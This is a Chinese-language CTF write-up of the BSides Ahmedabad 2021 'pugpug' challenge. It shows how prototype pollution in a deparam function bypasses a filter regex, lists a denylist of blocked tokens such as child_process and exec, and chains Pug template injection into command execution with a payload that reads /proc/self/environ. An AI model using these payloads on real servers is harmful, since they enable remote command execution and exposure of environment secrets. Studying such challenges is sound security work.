bsides-ahmedabad-ctf-2021
pugpug
根据大师傅的wp,这题是原型链污染,但是我没看出来,所以认为还是应该回去理解一下,什么情景下会造成原型链污染?
原型链污染形成原因
如果可以控制并修改一个对象的原型,那么将可以影响所有和对象来自同一个类、父、组类的对象
什么时候可以利用
存在可控的对象键值
function merge(target, source) { |
分析
参数传入将经过deparam进行处理
var input = deparam(req.originalUrl.slice(2)); |
在deparam中存在原型链污染,主要在下面这段代码,如果你传入了一个数组,含有多个键,那么就会进入以下循环进行赋值,我们可以跟一下值来分析一下
keys_last = keys.length - 1; |
可以看到keys的数组的值分成了三部分:
再往下继续调试此时key分为三部分,cur为含有所有键以及其值是一个对象,当key为constructor,他就会向上继承去获取其constructor的值
constructor属性的含义就是指向该对象的构造函数,所有函数(此时看成对象了)最终的构造函数都指向Function,而saasa是一个string,那么就是指向获得了一个string(),而所有函数的constructor都指向Function,也就是最原始的那个
而在这个Function()下面又有很多的函数,可以发现有一个正则表达式,也就是过滤我们字符的函数,我们可以通过污染这个正则表达式,来实现绕过,可以看到此时的三部分,cur[key]的值已经为那个正则表达式的内容了
最后直接将这个正则表达式赋值为我们传入的污染数据:
梳理一下代码逻辑:如果我们传入一个数组数据,那么他会递归取值并进行重新赋值,直到最后一个值被赋出
传入:test=aaa&test[constructor][SafetifyRegExp]=ssss |
模板注入
接下来就是pug的模板注入了,想要直接getshell是没办法的因为他过滤得很严格而且我们无法绕过:
const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"]; |
但是在/serverstatus中有命令执行,并且这里可以传入参数,即req,res,但是由于options.options写死了,导致这里的命令是执行不了的,因为直接timeout500了==,所以我们先接触他,然后再控制options.args实现命令执行
app.get('/serverstatus', (req, res) => { |
首先我们要让childe_process.spawnSync可以执行shell命令,所以需要打开这个模式,是要用url编码即可绕过:的过滤
%23{options.options.shell%3Dtrue} |
接下来再对options.args进行重新赋值,利用name进行传参绕过引号过滤(无法像shell:true)直接传参的原因:
?name=cpu,args%20;cat%20/proc/self/environ&content=%23{options.args%3D[options.args[0],name]} |
最终可以发现执行命令为:
ps -eo cpu,args;cat /proc/self/environ |
由于是windows下复现的,就不演示了
bsides-ahmedabad-ctf-2021